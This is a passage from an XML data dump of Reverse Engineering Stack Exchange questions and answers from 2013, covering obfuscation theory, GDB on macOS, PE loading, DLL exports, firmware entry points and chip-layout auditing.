LastActivityDate="2013-11-25T22:54:55.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3093" PostTypeId="1" CreationDate="2013-11-25T23:58:46.890" Score="8" ViewCount="394" Body="&lt;p&gt;I have some (very blurred as usual) thinking about the semantics obfuscation, that come from &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/186/are-there-any-metrics-for-code-obfuscation&quot;&gt;this question&lt;/a&gt; and the excellent answers of @RolfRolles and @Andrew. As far as I understand, the ideas of the authors in &lt;a href=&quot;http://profs.sci.univr.it/~dallapre/ICALP05.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this paper&lt;/a&gt; about Semantics-based Code Obfuscation are to study the obfuscation procedures on &lt;em&gt;the semantics-side&lt;/em&gt; instead of &lt;em&gt;the syntactic-side&lt;/em&gt;. That means, a modification on the code of the program may lead to a modification on the abstract semantics, here the abstract semantics is not the denotational semantics but &lt;em&gt;an abstract representation&lt;/em&gt; of the program, received from an abstract interpretation procedure - as a systematic static-analysis method. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get it more clearly, we consider an example: lets P be a program and t is a transformation preserving the denotational semantics of P, that modifies P into &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;P' = t(P)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and derives a modification t' on the abstract semantics S of P into &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;S' = t'(S)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now we will say that t is &lt;em&gt;potent&lt;/em&gt; if there is some properties Prop of P with the corresponding semantics properties SProp of S so that: SProp is not preserved by t'. In other words Prop is lost even through the static-analysis. We can see also that here we are considering the modification on the abstract semantics instead of on the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The strength of the code transformation (obfuscator) t is calculated by the set of properties O(t) that are not preserved by t, namely &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;t1 &amp;lt; t2 iff O(t1) belongs to O(t2)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But (as far as I understand) that implicitly supposed that O(t1) and O(t2) are comparable, I don't say the case where O(t1) and O(t2) are not belong to each other, but the case where each element of O(t1) and O(t2) are not comparable in a rational sense. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, we can imagine that in some period before 1960 when nobody knows about quicksort and everybody know bublesort. Suppose that someone wrote a bublesort B and (incidentially) a transformation which modified bublesort into a quicksort Q, since nobody knew about this strange sorting algorithm then they would (rationally) said that it is an obfuscated version of bublesort. However when we apply this situation on the semantics framework above, we can see that the abstract semantics properties of B and Q do not have anything in common (i.e. comparable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: &lt;em&gt;How does the semantics-based code obfuscation handle the situation above ?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-01-19T19:44:40.507" Title="Semantics-based obfuscation" Tags="|obfuscation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3094" PostTypeId="1" CreationDate="2013-11-26T15:15:01.170" Score="8" ViewCount="1391" Body="&lt;p&gt;I'm a beginner to reverse engineering, I've read through a few tutorials and know my way around some basic GDB and assembly code. After working my way through a few trivial examples I'd like to try something a bit more 'real-world'. My goal is to reverse-engineer and 'crack' Introversion Software / Ambrosia Software's game 'Uplink'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I am only doing this for the challenge, if I just wanted to play the game for free I would find a crack, not make one. The demo is freely available at &lt;a href=&quot;http://www.ambrosiasw.com/games/uplink/&quot; rel=&quot;nofollow&quot;&gt;http://www.ambrosiasw.com/games/uplink/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I have learned a few important things through static-analysis, using the tools Hopper and class-dump. It soon became clear that the registration-related functions lived in &lt;code&gt;ASWRegistration.framework&lt;/code&gt;, but after trying some static analysis, to no avail, I decided it would be best to throw GDB at it. Loaded it up, tried to set a breakpoint on one of the interesting-looking functions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) b +[ASWRegistration isRegistered:]&#xA;Function &quot;+[ASWRegistration isRegistered:]&quot; not defined.&#xA;Make breakpoint pending on future shared library load? (y or [n]) n&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Aw, that's annoying. Let's try something else.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) b isRegistered&#xA;Function &quot;isRegistered&quot; not defined.&#xA;Make breakpoint pending on future shared library load? (y or [n]) n&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hm, maybe I'm doing something wrong...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) b isRegistered:&#xA;No symbol table is loaded.  Use the &quot;file&quot; command.&#xA;Make breakpoint pending on future shared library load? (y or [n]) n&#xA;(gdb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Well, that give me a different error message, it's still not working though...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon further examination, I've found that I can't even properly break on functions inside the executable itself.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) b applicationDidFinishLaunching:&#xA;[0] cancel&#xA;[1] all&#xA;&#xA;Non-debugging symbols:&#xA;[2]    -[SUStatusChecker applicationDidFinishLaunching:]&#xA;[3]    -[SUUpdater applicationDidFinishLaunching:]&#xA;&amp;gt; 0&#xA;canceled&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Two possible &lt;code&gt;applicationDidFinishLaunching&lt;/code&gt;s, not one of them come from the actual game (I suspect they're from Sparkle.framework). It WOULD seem as though Ambrosia was smart and stripped all debugging symbols, but class-dump gives me full headers, nm gives me a bunch of symbols, and Hopper finds all sorts of methods. So I don't see why GDB can't use that. Again, I'm a beginner in all of this, maybe I'm doing something blatantly wrong. I also tried the same thing with a Mac App Store games, &quot;Hack RUN Free&quot;, and got the same &lt;code&gt;No symbol table is loaded.  Use the &quot;file&quot; command&lt;/code&gt; error. Of course, the file command doesn't help at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know how to fix this? I'd like to advance beyond the purely theoretical level in this ?&lt;/p&gt;&#xA;" OwnerUserId="3243" LastEditorUserId="245" LastEditDate="2013-11-27T18:14:00.683" LastActivityDate="2014-04-17T06:55:37.537" Title="GDB issues: Can't set breakpoint on Obj-C method" Tags="|tools|gdb|osx|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="3095" PostTypeId="1" CreationDate="2013-11-27T04:52:15.197" Score="2" ViewCount="310" Body="&lt;p&gt;I'm trying to reverse engineer an application that uses SQL server but somehow hides the database files inside its own proprietary file format. What I'm aiming to do is to write my own app that can extract the data from the application files so I can work on it using my own preferred tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can use WinDbg to intercept the SQL but I can't see how the application connects its datafile with the SQL server. Can anyone suggest where I might look?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="3245" LastActivityDate="2021-02-27T16:38:09.930" Title="Proprietary MS SQL server based file format" Tags="|file-format|mssql|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3096" PostTypeId="5" CreationDate="2013-11-28T10:49:43.427" Score="0" Body="&lt;p&gt;Hopper is an interactive disassembler similar to IDA, available for macOS (OS X) and Linux. It features local and remote GDB debugging, as well as pseudo-code generation.&lt;/p&gt;&#xA;" OwnerUserId="3252" LastEditorUserId="245" LastEditDate="2018-12-19T20:28:42.103" LastActivityDate="2018-12-19T20:28:42.103" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="3097" PostTypeId="4" CreationDate="2013-11-28T10:49:43.427" Score="0" Body="Hopper is an interactive disassembler similar to IDA, available for macOS, Windows and Linux" OwnerUserId="3252" LastEditorUserId="13506" LastEditDate="2018-12-19T20:23:30.827" LastActivityDate="2018-12-19T20:23:30.827" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="3098" PostTypeId="1" AcceptedAnswerId="4677" CreationDate="2013-11-28T10:55:23.727" Score="6" ViewCount="1894" Body="&lt;p&gt;Can I load dSYM symbols into Hopper? (I searched extensively in the menus etc. but couldn't find such an option)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Context: I want to see how a program I created using Xcode was compiled into machine code using Hopper to view the machine code. My program is stripped during build but I do have its symbols in a &lt;code&gt;.dSYM&lt;/code&gt; package.&lt;/p&gt;&#xA;" OwnerUserId="3252" LastEditorUserId="3252" LastEditDate="2013-12-01T16:20:09.757" LastActivityDate="2014-06-23T13:13:26.660" Title="Load dSYM symbols in Hopper" Tags="|osx|hopper|symbols|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3099" PostTypeId="1" CreationDate="2013-11-28T17:46:53.287" Score="4" ViewCount="3597" Body="&lt;p&gt;Would be great to know where the entry point is after decompress bootloader from a bin firm, mips based or os21..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, is always in same offset or it depends on compilation made? I think is a very useful information for good starting...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update&lt;/strong&gt;:&#xA;ok, but at this point I have another doubt, normally when you make a dump from a device (nor-nand), you get a binary which is compressed/encrypted, we know the flash map, which is divided into bootstrap / bootloader and later app, logs etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main doubt comes when I get app in plain, maybe a root file system, maybe other binary files like .rodata.bin...so after this, how to deduce entry point? because with .elf is very easy (auto load) but with extracted files, normally binaries, I can't deduce if apply entry point to these extracted files, or try to find out entry point into main binary dump..(I guess that main bin could be disassembled just in it's bootloader part)&lt;/p&gt;&#xA;" OwnerUserId="3253" LastEditorUserId="4212" LastEditDate="2014-06-04T11:51:54.140" LastActivityDate="2014-06-04T11:51:54.140" Title="How do I find out entry point in mips or sh4 bin firmware?" Tags="|ida|disassembly|mips|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3100" PostTypeId="1" AcceptedAnswerId="3109" CreationDate="2013-11-28T18:11:44.943" Score="9" ViewCount="572" Body="&lt;p&gt;Few days after asking the question I realised I misinterpreted my original findings. It seems .rdata section on file is copied directly to memory, but then first 36 bytes are overwritten by loader with IAT RVA. The erroneous question about added 96 bytes is result of me not noticing that the sequence of bytes I was checking in my tests is repeated on the file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I just said still might not be 100% accurate. The investigation will continue for the next few days.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Original Question&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm trying to write a program to analyse Windows executables. I was assuming that sections in executable file are directly copied to memory. I have noticed strange behaviour in several programs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One example is &lt;code&gt;crackme12.exe&lt;/code&gt;. When I check with debugger &lt;code&gt;.rdata&lt;/code&gt; section loaded into memory, I can see that for some reason 96 bytes have been added at the beginning of a section loaded into memory that was not there in the executable file. I have spent 2 days trying to read Windows executable documentation, but I can't find explanation why is it happening.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Additional Info&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm trying to load this file on Linux under Wine. &#xA;Debugger I use is called OllyDbg. &#xA;File download link: &lt;a href=&quot;http://www.reversing.be/easyfile/file.php?show=20080602192337264&quot; rel=&quot;nofollow&quot;&gt;http://www.reversing.be/easyfile/file.php?show=20080602192337264&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to write the program in Common Lisp. This is the link to the test file: &lt;a href=&quot;https://github.com/bigos/discompiler/blob/master/test/lisp-unit.lisp&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bigos/discompiler/blob/master/test/lisp-unit.lisp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to load the same crackme under Windows and got another surprise.&#xA;Screen-shot at &#xA;&lt;a href=&quot;https://github.com/bigos/discompiler/blob/fc3d8432f10c8bd5dfd14a8b5e2b113331db15df/my-reference/images/differences%20between%20lin%20and%20win.png&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bigos/discompiler/blob/fc3d8432f10c8bd5dfd14a8b5e2b113331db15df/my-reference/images/differences%20between%20lin%20and%20win.png&lt;/a&gt; shows Windows and Wine side by side. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From address x402060, highlighted in the screen-shot in red shows data copied from section on the file. On loading operating system inserted 96 bytes. To my surprise Wine loader has inserted different data. When you compare differences between Wine and Windows you will see that first two lines differ. Can somebody enlighten me what is happening?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Conclusion&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It turns out that Import Table RVA and IAT RVA were placed at addresses between x402000 and x402060. So it looks like loader copies section to memory after those tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added some code to my little program and got following output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RVAs: (((320 &quot;Import Table RVA&quot; 8228) (324 &quot;Import Table Size&quot; 60)&#xA;        &quot;in memory from&quot; &quot;402024&quot; &quot;to&quot; &quot;402060&quot;)&#xA;       ((328 &quot;Resource Table RVA&quot; 16384) (332 &quot;Resource Table Size&quot; 1792)&#xA;        &quot;in memory from&quot; &quot;404000&quot; &quot;to&quot; &quot;404700&quot;)&#xA;       ((408 &quot;IAT RVA&quot; 8192) (412 &quot;IAT Size&quot; 36) &quot;in memory from&quot; &quot;402000&quot;&#xA;        &quot;to&quot; &quot;402024&quot;))&lt;/p&gt;&#xA;" OwnerUserId="3254" LastEditorUserId="3254" LastEditDate="2013-12-10T04:39:49.060" LastActivityDate="2013-12-10T04:39:49.060" Title="Loading Windows executable - unexpected data appended at beginning sections after loading in memory" Tags="|windows|static-analysis|pe|executable|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3101" PostTypeId="1" AcceptedAnswerId="3103" CreationDate="2013-11-28T18:47:04.807" Score="15" ViewCount="30782" Body="&lt;p&gt;I am a man full of contradictions, I am using Unix and, yet, I want to analyze a Microsoft Windows DLL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, when looking for symbols in a dynamic or static library in the ELF World, one can either use &lt;code&gt;nm&lt;/code&gt; or &lt;code&gt;readelf&lt;/code&gt; or even &lt;code&gt;objdump&lt;/code&gt;. Here is an example with &lt;code&gt;objdump&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ objdump -tT /usr/lib/libcdt.so&#xA;&#xA;/usr/lib/libcdt.so:     file format elf64-x86-64&#xA;&#xA;SYMBOL TABLE:&#xA;no symbols&#xA;&#xA;DYNAMIC SYMBOL TABLE:&#xA;0000000000000cc8 l    d  .init  0000000000000000              .init&#xA;0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5 free&#xA;0000000000000000  w   D  *UND*  0000000000000000              _ITM_deregisterTMCloneTable&#xA;0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5 memcmp&#xA;0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5 strcmp&#xA;0000000000000000  w   D  *UND*  0000000000000000              __gmon_start__&#xA;0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5 malloc&#xA;0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5 realloc&#xA;0000000000000000  w   D  *UND*  0000000000000000              _Jv_RegisterClasses&#xA;0000000000000000  w   D  *UND*  0000000000000000              _ITM_registerTMCloneTable&#xA;0000000000000000  w   DF *UND*  0000000000000000  GLIBC_2.2.5 __cxa_finalize&#xA;0000000000000ec0 g    DF .text  0000000000000097  Base        dtclose&#xA;0000000000204af8 g    DO .data  0000000000000008  Base        Dtorder&#xA;0000000000204af0 g    DO .data  0000000000000008  Base        Dttree&#xA;... cut ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, we have all exported function name from reading this dynamic library. But, lets try it with a DLL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ objdump -tT SE_U20i.dll &#xA;&#xA;SE_U20i.dll:     file format pei-i386&#xA;&#xA;objdump: SE_U20i.dll: not a dynamic object&#xA;SYMBOL TABLE:&#xA;no symbols&#xA;&#xA;DYNAMIC SYMBOL TABLE:&#xA;no symbols&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you see, &lt;code&gt;objdump&lt;/code&gt; fail to extract the exported symbols from the DLL (and so do &lt;code&gt;nm&lt;/code&gt;). But, if I can see a few thing more if I do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ objdump -p SE_U20i.dll&#xA;&#xA;SE_U20i.dll:     file format pei-i386&#xA;&#xA;Characteristics 0xa18e&#xA;    executable&#xA;    line numbers stripped&#xA;    symbols stripped&#xA;    little endian&#xA;    32 bit words&#xA;    DLL&#xA;    big endian&#xA;&#xA;... clip ...&#xA;&#xA;There is an export table in .edata at 0x658000&#xA;&#xA;The Export Tables (interpreted .edata section contents)&#xA;&#xA;Export Flags                    0&#xA;Time/Date stamp                 0&#xA;Major/Minor                     0/0&#xA;Name                            0025803c SE_U20i.dll&#xA;Ordinal Base                    1&#xA;Number in:&#xA;    Export Address Table            00000002&#xA;    [Name Pointer/Ordinal] Table    00000002&#xA;Table Addresses&#xA;    Export Address Table            00258028&#xA;    Name Pointer Table              00258030&#xA;    Ordinal Table                   00258038&#xA;&#xA;Export Address Table -- Ordinal Base 1&#xA;    [   0] +base[   1] 23467c Export RVA&#xA;    [   1] +base[   2] 233254 Export RVA&#xA;&#xA;[Ordinal/Name Pointer] Table&#xA;    [   0] DoResurrection&#xA;    [   1] Initialize&#xA;&#xA;... clip ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, the &lt;em&gt;export table&lt;/em&gt; seems to be what we are looking for (not sure about it). But it is drown among a lot of other information (the option &lt;code&gt;-p&lt;/code&gt; display really a LOT of lines).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, first, is the export table what I am looking for to know what are the functions and variables that exported by the DLL ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, why did &lt;code&gt;objdump&lt;/code&gt; present differently the exported symbols in the case of ELF and PE ? (I guess there is some technical differences between exported symbols in ELF and PE and that confusing both would be extremely misleading, but I would like to know in what they differ).&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-11-28T18:54:45.337" LastActivityDate="2013-11-28T22:56:06.467" Title="Looking for exported symbols in a DLL with objdump?" Tags="|disassembly|dll|objdump|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3102" PostTypeId="2" ParentId="3099" CreationDate="2013-11-28T21:55:04.013" Score="9" Body="&lt;p&gt;Embedded systems are commonly run on bare metal, without any BIOS. Thus the entry point is usually the &lt;strong&gt;reset vector&lt;/strong&gt; which is architecture- and system-specific. You need to consult datasheets for your chip or at least the architecture to see what it says about reset vectors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, on ARM the default reset vector is at address 0 (except for Cortex-M series), so you can usually just start disassembling from the start of the firmware. i8051 is another notable example which starts at 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For MIPS, the canonical reset vector is 0xBFC00000. However, this is a processor address, and you'll need to figure what it maps to in the flash. This depends on how the flash is connected to the CPU, how the chip selects are set up etc. Quite possibly it may actually correspond to the start of the flash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach, used mostly by older 8-bit and 16-bit chips is placing the reset vectors near &lt;em&gt;the end&lt;/em&gt; of the address space. So addresses like FFFE are good candidates for those. 8086 started at FFFF0 and the current x86 chips start at FFFFFFF0. But once again, if you have any datasheets, you should check them instead of guessing.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-11-28T21:55:04.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3103" PostTypeId="2" ParentId="3101" CreationDate="2013-11-28T22:56:06.467" Score="8" Body="&lt;p&gt;The surprising part for me is &lt;code&gt;objdump&lt;/code&gt; can recognize &lt;em&gt;anything&lt;/em&gt; in a PE file. According to &lt;a href=&quot;http://en.wikipedia.org/wiki/Portable_Executable&quot; rel=&quot;noreferrer&quot;&gt;Wikipedia&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;.. PE is a modified version of the Unix COFF file format. PE/COFF is an alternative term in Windows development.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so apparently there is just enough overlap in the headers to make it work (at least partially). The basic design of one is clearly based on the other, but after that they evolved separately. Finding the exact differences at this point in time might well be a pure academical exercise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes: in a DLL, the export directory &lt;em&gt;is&lt;/em&gt; what you are looking for. Here is a screen grab from &lt;a href=&quot;http://www.dependencywalker.com&quot; rel=&quot;noreferrer&quot;&gt;Dependency Walker&lt;/a&gt; inspecting &lt;code&gt;comctl32.dll&lt;/code&gt; (using VirtualBox 'cause I'm on a Mac):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5CPMn.png&quot; alt=&quot;Dependency Walker showing Exports&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The field &quot;E^&quot; lists the exported function names and other interesting details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are in to Python: &lt;a href=&quot;http://code.google.com/p/pefile/&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;pefile&lt;/code&gt;&lt;/a&gt; has been mentioned as a library that can access PE parts, but then again PE has been so long around there is no end to good descriptions of all the gory low level details of all its headers and structures. Last time I felt inspecting some Windows program, I used these descriptions to write a full set of PE import/export C routines from scratch (.. &lt;em&gt;again&lt;/em&gt;, I should add -- this way I can have return it the exact data I want in exactly the required format).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA Pro seems to be the utility of choice for most disassembling jobs, and last time I used that it did a good job of loading both Import and Export directories, although it didn't provide a concise list of all functions.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2013-11-28T22:56:06.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3104" PostTypeId="1" CreationDate="2013-11-28T23:07:38.460" Score="1" ViewCount="254" Body="&lt;p&gt;Can I tell IDA that an operand is a segment:offset address? It doesn't seems to be any of the posibilities in the Offset (user-defined) dialog, however IDA uses them when decoding instructions with explicit segment addresses.&lt;/p&gt;&#xA;" OwnerUserId="3256" LastActivityDate="2013-11-28T23:07:38.460" Title="Does IDA support segment:offset operands?" Tags="|ida|" AnswerCount="0" CommentCount="2" ClosedDate="2014-01-11T06:56:41.993" ContentLicense="CC BY-SA 3.0" />
  <row Id="3105" PostTypeId="1" AcceptedAnswerId="3106" CreationDate="2013-11-29T01:56:49.630" Score="11" ViewCount="1904" Body="&lt;p&gt;I have some obfuscated C# .NET code I want to analyze.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SNylK.png&quot; alt=&quot;obfuscated C# code&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to rename those obfuscated symbols? So I can more easily track them? Like IDA Pro can work with renaming functions and so forth.&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2013-11-29T03:47:30.683" Title="Rename obfuscated names with .NET Reflector?" Tags="|tools|obfuscation|.net|c#|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3106" PostTypeId="2" ParentId="3105" CreationDate="2013-11-29T03:47:30.683" Score="7" Body="&lt;p&gt;Some plugins like &lt;a href=&quot;http://reflexil.net/&quot;&gt;reflexil&lt;/a&gt; provide this functionality.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2013-11-29T03:47:30.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3107" PostTypeId="2" ParentId="3074" CreationDate="2013-11-29T04:05:35.673" Score="3" Body="&lt;p&gt;If you don't care about dynamic analysis, you should give a try to &lt;a href=&quot;http://rada.re&quot; rel=&quot;nofollow&quot;&gt;radare2&lt;/a&gt; (a free software), that can (among other things) disassemble 16bit DOS binaries very well.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastEditorUserId="1485" LastEditDate="2013-11-29T17:53:08.503" LastActivityDate="2013-11-29T17:53:08.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3108" PostTypeId="1" CreationDate="2013-11-29T09:28:01.373" Score="10" ViewCount="494" Body="&lt;p&gt;What is necessary to check that the layout of all the 35000 transistors on a given physical processor was not tampered with, assuming the normal layout and its dispositions on the die are extensively documented?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Microscope ? Specialized imaging software ? Chemical reagents, and others that are to buy for each check ? How much man-hours of work ? What else ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is easier to provide an answer for a particular case, you can assume that it is a &lt;a href=&quot;https://sites.google.com/site/evalapply/&quot; rel=&quot;noreferrer&quot;&gt;K-machine&lt;/a&gt; but made on a die at modern 22nm process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you prefer a processor you are more familiar with, you can assume an &lt;a href=&quot;http://en.wikipedia.org/wiki/ARM_architecture#Core_license&quot; rel=&quot;noreferrer&quot;&gt;armv6&lt;/a&gt; processor but made on a die at modern 22nm process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can assume that I will have access to all details of the fab to produce the processor, but that the particular physical processor I want to audit was made on the same fab line by the NSA.&lt;/p&gt;&#xA;" OwnerUserId="3259" LastEditorUserId="3259" LastEditDate="2013-12-17T10:41:12.050" LastActivityDate="2013-12-17T15:39:17.717" Title="Physically auditing the layout of transistors inside a processor made at 22mm process die" Tags="|hardware|digital-forensics|integrated-circuit|digital-archeology|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3109" PostTypeId="2" ParentId="3100" CreationDate="2013-11-29T15:11:32.653" Score="4" Body="&lt;p&gt;This is the Import Address Table, which contains the virtual addresses for the imported functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the DLLs have been loaded at different addresses (7bxxxxxx in one case, 76xxxxxx in the other), the Import Address Table is filled with different DWORD values.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="1562" LastEditDate="2013-11-30T00:04:05.113" LastActivityDate="2013-11-30T00:04:05.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3110" PostTypeId="1" CreationDate="2013-11-29T22:08:35.880" Score="7" ViewCount="1886" Body="&lt;p&gt;I have &lt;code&gt;_fgets&lt;/code&gt; call in a program I want to debug in IDA. My program receives &lt;code&gt;SIGTTIN&lt;/code&gt; while calling it, that's normal. But when I mark to pass &lt;code&gt;SIGTTIN&lt;/code&gt; to application, program waits for input in terminal, but neither pressing &lt;kbd&gt;Enter&lt;/kbd&gt; key, nor &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;D&lt;/kbd&gt; stop reading from input. What should I do to finish the input?&lt;/p&gt;&#xA;" OwnerUserId="3266" LastEditorUserId="1485" LastEditDate="2013-12-01T21:06:48.923" LastActivityDate="2015-02-16T21:36:21.430" Title="Calling fgets while debugging under IDA Linux" Tags="|ida|linux|debugging|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3111" PostTypeId="2" ParentId="3108" CreationDate="2013-11-29T23:33:21.290" Score="5" Body="&lt;p&gt;This video on YouTube can be a good start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=K5miMbqYB4E&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reverse Engineering the MOS 6502 CPU&lt;/a&gt; [27C3 (Chaos Computer Congress)]. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Watching the video from minute 25 to 30 you can see how CPU dice was exposed and how the data were processed. Basically hi-res photos were stitched together and traced to create a vector image. This in turned was used to create a netlist used by simulation software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contribution suggested by &#xA;&lt;a href=&quot;https://reverseengineering.stackexchange.com/users/3259/user2987828&quot;&gt;https://reverseengineering.stackexchange.com/users/3259/user2987828&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;According to the video linked on @ruby_object's answer, if you need to&#xA;  check the 8-bit RISC processor MOS-6502-D made on a 4µm process fab&#xA;  with RAM capped to 64ko: hot sulfuric acid (200º F). microscope nikon&#xA;  Optiphot 200 with 10x objective. the layout with three layers of 3510&#xA;  transistors and 20,000 metal plates. less than a few man months for&#xA;  matching microscope images to layout.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;That does not answer correctly for 22nm process though.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;Content of the video&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;0:00 intro&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2:00 